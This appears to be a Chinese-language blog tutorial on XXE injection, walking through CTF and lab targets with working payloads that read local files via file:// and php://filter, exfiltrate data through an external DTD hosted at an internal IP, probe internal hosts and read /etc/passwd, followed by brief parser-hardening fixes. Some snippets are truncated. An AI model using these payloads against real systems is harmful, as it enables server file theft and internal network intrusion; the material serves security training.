WEB 漏洞-XXE&XML 之利用检测绕过

WEB 漏洞-XXE&XML 之利用检测绕过

  • XXE&XML
  • DTD
    • 内部的 DOCTYPE 声明
    • 外部DOCTYPE声明
    • 内部实体声明
    • 外部实体声明
    • 为什么使用 DTD
  • pikachu 靶场 xml 数据传输测试-回显,玩法,协议,引入
    • 回显
      • 玩法-读文件
      • 玩法-内网探针或攻击内网应用(触发漏洞地址)
    • 引入外部实体 dtd
    • 不回显
      • 读取文件
  • XXE黑盒发现
  • xxe-lab 靶场登陆框 xml 数据传输测试-检测发现
  • CTF-Jarvis-OJ-Web-XXE 安全真题复现-数据请求格式
  • 模拟XXE渗透实战
  • xxe 安全漏洞自动化注射脚本工具-XXEinjector(Ruby)
  • xxe 漏洞修复与防御方案-php,java,python-过滤及禁用
    • 方案 1-禁用外部实体
    • 方案 2-过滤用户提交的 XML 数据

XXE&XML

XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据
从 HTML 分离,是独立于软件和硬件的信息传输工具。XXE 漏洞全称XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

XML 与 HTML 的主要差异
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而 XML 旨在传输信息。

DTD

DTD
文档类型定义(DTD)可定义合法的 XML 文档构建模块
它使用一系列合法的元素来定义文档的结构
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用
(1)内部的 DOCTYPE 声明

(2)外部文档声明

#DTD 实体
(1)内部实体声明

(2)外部实体声明

(3)参数实体声明

内部的 DOCTYPE 声明

<?xml version="1.0"?>
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

以上 DTD 解释如下:

!DOCTYPE note (第二行)定义此文档是 note 类型的文档。
!ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"
!ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型
!ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型
!ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型
!ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型

注意:

!DOCTYPE any (第二行)定义此文档是任意类型的文档

在您的浏览器中打开此 XML 文件,并选择“查看源代码”命令

外部DOCTYPE声明

假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:

<!DOCTYPE 根元素 SYSTEM "文件名">

这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD: (在 浏览器 中打开,并选择“查看源代码”命令。)

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note> 

这是包含 DTD 的 “note.dtd” 文件:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

内部实体声明

语法

<!ENTITY 实体名称 "实体的值">

例子:
DTD 例子:

<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">

XML 例子:

<author>&writer;&copyright;</author>

组合

<?php
ini_set("error_reporting","E_ALL & ~E_NOTICE");    //屏蔽掉当前页面警告报错
$xml="<?xml version=\"1.0\"?>
<!DOCTYPE author [
  <!ENTITY writer \"LSC\">
  <!ENTITY copyright \"Copyright lsc\">
]>
<author>&writer;&copyright;</author>";
$data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
$html.="
{$data}
"
; echo $html;?>

效果:

WEB 漏洞-XXE&XML 之利用检测绕过_第1张图片

外部实体声明

语法:

<!ENTITY 实体名称 SYSTEM "URI/URL">

例子:
DTD 例子:

<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

XML 例子:

<author>&writer;&copyright;</author>

注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (。

为什么使用 DTD

通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。
通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。
而您的应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。
您还可以使用 DTD 来验证您自身的数据。

pikachu 靶场 xml 数据传输测试-回显,玩法,协议,引入

WEB 漏洞-XXE&XML 之利用检测绕过_第2张图片

回显

玩法-读文件

定义一个any类型的文档进行读文件,payload:

<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///C://Users//lenovo//Desktop//test.txt"> ]> <x>&xxe;</x>

WEB 漏洞-XXE&XML 之利用检测绕过_第3张图片

玩法-内网探针或攻击内网应用(触发漏洞地址)

可以确定地址是否存在,也可以进行端口扫描,也可以把地址改为漏洞地址,触发漏洞

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://站点/test.txt" >
]>
<x>&rabbit;</x>

WEB 漏洞-XXE&XML 之利用检测绕过_第4张图片

引入外部实体 dtd

<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">//访问dtd
%file;
]>
<x>&send;</x>//显示test.txt的内容


evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">//读网站服务器的文件

WEB 漏洞-XXE&XML 之利用检测绕过_第5张图片

不回显

读取文件

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.txt">//读取文件给file
<!ENTITY % dtd SYSTEM "http://192.168.0.103:8081/test.dtd">//访问test.dtd
%dtd;//执行
%send;//执行显示test.dtd中的send标签
]>


test.dtd:
<!ENTITY % payload
""
>
%payload;//显示上面的一长串字符串

#协议-读文件(绕过)
参考:https://www.cnblogs.com/20175211lyz/p/11413335.html

<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>
<x>&f;</x>

读出的数据

PD9waHAKLyoqCiAqIENyZWF0ZWQgYnkgcnVubmVyLmhhbgogKiBUaGVyZSBpcyBub3RoaW5nIG5ldyB1bmRlciB0aGUgc3VuCiAqLwoKCiRTRUxGX1BBR0UgPSBzdWJzdHIoJF9TRVJWRVJbJ1BIUF9TRUxGJ10sc3RycnBvcygkX1NFUlZFUlsnUEhQX1NFTEYnXSwnLycpKzEpOwoKaWYgKCRTRUxGX1BBR0UgPSAieHhlLnBocCIpewogICAgJEFDVElWRSA9IGFycmF5KCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCdhY3RpdmUgb3BlbicsJ2FjdGl2ZScsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycpOwp9CgokUElLQV9ST09UX0RJUiA9ICAiLi4vLi4vIjsKaW5jbHVkZV9vbmNlICRQSUtBX1JPT1RfRElSLidoZWFkZXIucGhwJzsKCgo/PgoKCgo8ZGl2IGNsYXNzPSJtYWluLWNvbnRlbnQiPgogICAgPGRpdiBjbGFzcz0ibWFpbi1jb250ZW50LWlubmVyIj4KICAgICAgICA8ZGl2IGNsYXNzPSJicmVhZGNydW1icyBhY2Utc2F2ZS1zdGF0ZSIgaWQ9ImJyZWFkY3J1bWJzIj4KICAgICAgICAgICAgPHVsIGNsYXNzPSJicmVhZGNydW1iIj4KICAgICAgICAgICAgICAgIDxsaT4KICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iYWNlLWljb24gZmEgZmEtaG9tZSBob21lLWljb24iPjwvaT4KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJ4ZWUucGhwIj48L2E+CiAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJhY3RpdmUiPuamgui/sDwvbGk+CiAgICAgICAgICAgIDwvdWw+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0icGFnZS1jb250ZW50Ij4KCiAgICAgICAgICAgIDxkaXYgY2xhc3M9InZ1bCBpbmZvIj4KICAgICAgICAgICAgICAgIFhYRSAtInhtbCBleHRlcm5hbCBlbnRpdHkgaW5qZWN0aW9uIjxicj4KICAgICAgICAgICAgICAgIOaXoiJ4bWzlpJbpg6jlrp7kvZPms6jlhaXmvI/mtJ4i44CCPGJyPgogICAgICAgICAgICAgICAg5qaC5ous5LiA5LiL5bCx5pivIuaUu+WHu+iAhemAmui/h+WQkeacjeWKoeWZqOazqOWFpeaMh+WumueahHhtbOWunuS9k+WGheWuuSzku47ogIzorqnmnI3liqHlmajmjInnhafmjIflrprnmoTphY3nva7ov5vooYzmiafooYws5a+86Ie06Zeu6aKYIjxicj4KICAgICAgICAgICAgICAgIOS5n+WwseaYr+ivtOacjeWKoeerr+aOpeaUtuWSjOino+aekOS6huadpeiHqueUqOaIt+err+eahHhtbOaVsOaNrizogIzlj4jmsqHmnInlgZrkuKXmoLznmoTlronlhajmjqfliLYs5LuO6ICM5a+86Ie0eG1s5aSW6YOo5a6e5L2T5rOo5YWl44CCPGJyPgogICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAg5YW35L2T55qE5YWz5LqOeG1s5a6e5L2T55qE5LuL57uNLOe9kee7nOS4iuacieW+iOWkmizoh6rlt7HliqjmiYvlhYjmn6XkuIDkuIvjgIIKICAgICAgICAgICAgICAgIDxicj4KICAgICAgICAgICAgICAgIOeOsOWcqOW+iOWkmuivreiogOmHjOmdouWvueW6lOeahOino+aekHhtbOeahOWHveaVsOm7mOiupOaYr+emgeatouino+aekOWklumDqOWunuS9k+WGheWuueeahCzku47ogIzkuZ/lsLHnm7TmjqXpgb/lhY3kuobov5nkuKrmvI/mtJ7jgII8YnI+CiAgICAgICAgICAgICAgICDku6VQSFDkuLrkvoss5ZyoUEhQ6YeM6Z2i6Kej5p6QeG1s55So55qE5pivbGlieG1sLOWFtuWcqOKJpTIuOS4w55qE54mI5pys5LitLOm7mOiupOaYr+emgeatouino+aekHhtbOWklumDqOWunuS9k+WGheWuueeahOOAgjxicj4KICAgICAgICAgICAgICAgIDxicj4KICAgICAgICAgICAgICAgIOacrOeroOaPkOS+m+eahOahiOS+i+S4rSzkuLrkuobmqKHmi5/mvI/mtJ4s6YCa6L+H5omL5Yqo5oyH5a6aTElCWE1MX05PRU5U6YCJ6aG55byA5ZCv5LqGeG1s5aSW6YOo5a6e5L2T6Kej5p6Q44CCCgoKICAgICAgICAgICAgPC9kaXY+CgogICAgICAgIDwvZGl2PjwhLS0gLy5wYWdlLWNvbnRlbnQgLS0+CiAgICA8L2Rpdj4KPC9kaXY+PCEtLSAvLm1haW4tY29udGVudCAtLT4KCgoKPD9waHAKaW5jbHVkZV9vbmNlICRQSUtBX1JPT1RfRElSIC4gJ2Zvb3Rlci5waHAnOwoKPz4K

进行base64解密得到xxe1.php源码

WEB 漏洞-XXE&XML 之利用检测绕过_第6张图片

XXE黑盒发现

1、获取得到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试
2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe
3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行

xxe-lab 靶场登陆框 xml 数据传输测试-检测发现

[NCTF2019]Fake XML cookbook

1、来到漏洞界面
WEB 漏洞-XXE&XML 之利用检测绕过_第7张图片

2、我们可以登录直接抓包,发现这里的登陆参数是xml格式判断存在xxe漏洞
WEB 漏洞-XXE&XML 之利用检测绕过_第8张图片

3、文件读取payload:

<?xml version="1.0" encoding="utf-8" ?>

<!DOCTYPE ruler [

<!ENTITY filee SYSTEM  "php://filter/read=convert.base64-encode/resource=doLogin.php">

]>

<user>

  <username>&filee;</username>

  <password></password>

</user>

WEB 漏洞-XXE&XML 之利用检测绕过_第9张图片
4、读取文件解码
WEB 漏洞-XXE&XML 之利用检测绕过_第10张图片
5、没有东西,尝试读取其他文件

<!DOCTYPE ruler [

<!ENTITY filee SYSTEM  "file:///flag">

]>

<user>

  <username>&filee;</username>

  <password>ruler</password>

</user>

# CTF-Vulnhub-XXE 安全真题复现-检测,利用,拓展,实战
扫描 IP 及端口->扫描探针目录->抓包探针 xxe 安全->利用 xxe 读取源码->flag 指向文件->base32 64 解
密->php 运行->flag

```javascript



]>
&sp;hj

7、发现flag
WEB 漏洞-XXE&XML 之利用检测绕过_第11张图片

CTF-Jarvis-OJ-Web-XXE 安全真题复现-数据请求格式

http://web.jarvisoj.com:9882/
靶场页面
WEB 漏洞-XXE&XML 之利用检测绕过_第12张图片
1、进行抓包
WEB 漏洞-XXE&XML 之利用检测绕过_第13张图片

2、我们可以尝试更改请求数据格式:application/xml 来实现XXE注入
更改请求数据格式:application/xml

<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

WEB 漏洞-XXE&XML 之利用检测绕过_第14张图片
WEB 漏洞-XXE&XML 之利用检测绕过_第15张图片

模拟XXE渗透实战

靶场
1.信息收集-主机ip扫描

nmap -sS 192.168.111.1/24 

WEB 漏洞-XXE&XML 之利用检测绕过_第16张图片
发现192.168.111.135开放了80端口,打开网页
WEB 漏洞-XXE&XML 之利用检测绕过_第17张图片
接着通过robots协议,发现存在的目录如下
WEB 漏洞-XXE&XML 之利用检测绕过_第18张图片
进入/xxe/查看
WEB 漏洞-XXE&XML 之利用检测绕过_第19张图片
登录进行抓包查看发现存在xml漏洞,现在收集完毕之后就行漏洞利用
WEB 漏洞-XXE&XML 之利用检测绕过_第20张图片
2、文件读取admin.php的内容
payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ELEMENT root ANY>
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password></password></root>

WEB 漏洞-XXE&XML 之利用检测绕过_第21张图片
3、将右边获得密码进行base64解码
WEB 漏洞-XXE&XML 之利用检测绕过_第22张图片
4、通过返回的代码知道账号和密码
WEB 漏洞-XXE&XML 之利用检测绕过_第23张图片
WEB 漏洞-XXE&XML 之利用检测绕过_第24张图片

5、进入xss/admin.php登录,账号为administhebest,密码为admin@123,登录
WEB 漏洞-XXE&XML 之利用检测绕过_第25张图片
登录后页面,点击Flag
WEB 漏洞-XXE&XML 之利用检测绕过_第26张图片
跳转到flagout.php,发现打不开,试着读取flagout.php
WEB 漏洞-XXE&XML 之利用检测绕过_第27张图片
WEB 漏洞-XXE&XML 之利用检测绕过_第28张图片
6、解码得到flag in一串32位数据,得是base32,拿去base32解密
WEB 漏洞-XXE&XML 之利用检测绕过_第29张图片

7、解码得到base64,再拿去base解码
WEB 漏洞-XXE&XML 之利用检测绕过_第30张图片
8、得到新的目录
WEB 漏洞-XXE&XML 之利用检测绕过_第31张图片

9、读取文件
WEB 漏洞-XXE&XML 之利用检测绕过_第32张图片

10、解码
WEB 漏洞-XXE&XML 之利用检测绕过_第33张图片
11、拿去php生成器运行,最后一行即为flag
WEB 漏洞-XXE&XML 之利用检测绕过_第34张图片

xxe 安全漏洞自动化注射脚本工具-XXEinjector(Ruby)

https://www.cnblogs.com/bmjoker/p/9614990.html
xxe_payload_fuzz

xxe 漏洞修复与防御方案-php,java,python-过滤及禁用

方案 1-禁用外部实体

PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf
=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案 2-过滤用户提交的 XML 数据

过滤关键词:

你可能感兴趣的:(WEB安全-XXE,xml,javascript,html)